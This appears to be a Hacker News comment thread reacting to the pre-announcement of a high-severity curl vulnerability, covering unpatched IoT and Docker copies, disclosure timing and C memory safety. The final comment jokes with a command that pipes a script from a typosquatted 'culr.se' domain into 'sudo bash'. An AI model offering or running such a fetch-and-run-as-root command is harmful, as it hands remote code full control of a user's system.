Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11

Ouch! Percentage of internet of things devices who don't ship libcurl is a rounding error. Percentage of internet of things devices that patch libcurl is also a rounding error.

&gt; Updating the shared libcurl library should be enough to fix this issue on all operating systems.<p>&gt; Then again there will also be countless docker (and similar) images that feature their own copies, so there will still be quite a large number of rebuilds necessary I bet.<p>Quite a large number, yeah.

I kinda hate doing things this way...<p>Could it be better not to just come out with somewhat alarmist take that hey we are going to release high risk vulnerability in week... And fixes to that...<p>But instead just release new version and CVE at same time? Now is everyone trying to get ready to exploit this on 11th, or already getting most out of it if they know? And does this information really make anyone to hover their finger on button to push new versions and so on on 11th?

Sad to see this just a month and a half from this post: <a href="https:&#x2F;&#x2F;daniel.haxx.se&#x2F;blog&#x2F;2023&#x2F;08&#x2F;26&#x2F;cve-2020-19909-is-everything-that-is-wrong-with-cves&#x2F;" rel="nofollow noreferrer">https:&#x2F;&#x2F;daniel.haxx.se&#x2F;blog&#x2F;2023&#x2F;08&#x2F;26&#x2F;cve-2020-19909-is-eve...</a><p>Is the CVE system unreasonably alarmistic or is C unpredictable with flaws?

C software really needs to be used in a sandbox because this stuff is inevitable.

Relevant XKCD: <a href="https:&#x2F;&#x2F;xkcd.com&#x2F;2347&#x2F;" rel="nofollow noreferrer">https:&#x2F;&#x2F;xkcd.com&#x2F;2347&#x2F;</a><p>(Just switch Nebraska with Stockholm)<p>Also consider throwing a buck or two curl&#x27;s way: <a href="https:&#x2F;&#x2F;curl.se&#x2F;donation.html" rel="nofollow noreferrer">https:&#x2F;&#x2F;curl.se&#x2F;donation.html</a>

Place your bets: a) logic bug b) memory bug (buffer overrun&#x2F;use after free&#x2F;etc) c) other

The race has begun. Although I’d be surprised if it was an easy one to figure out given curls status

Ah, the fix is out!<p><pre><code> curl https:&#x2F;&#x2F;culr.se&#x2F;cve-fix | sudo bash </code></pre> aw crap ...